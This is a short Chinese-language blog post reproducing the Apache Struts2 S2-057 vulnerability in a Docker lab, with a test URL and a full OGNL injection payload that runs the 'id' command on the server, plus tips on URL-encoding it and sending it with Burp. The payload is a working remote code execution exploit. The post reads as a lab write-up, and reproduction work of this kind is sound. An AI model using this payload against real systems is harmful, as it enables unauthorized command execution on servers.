apache Struts2 s2-057复现

今天挖洞时遇见了个Struts2的漏洞,利用时才发现没工具,决定复现一下,写一下利用脚本

docker搭建

访问8080端口,进去是空白的

然后按照poc访问,主页是这样的

 

验证poc:http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

中间的$%7B233*233%7D是${(233*233)}经过url编码后的样子

这个验证要用*,不要用+,容易当成空格

成功执行

在Location那一栏回显了计算结果

然后使用exp:

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

这个也要进行url编码

不要用burpsuite自带的,不然会把所有字母都进行编码

替换中间的${(233*233)}

然后repeater执行

工具稍后再写。。。

 

posted @ 2021-07-07 17:44  Tankcz  阅读(90)  评论(0编辑  收藏  举报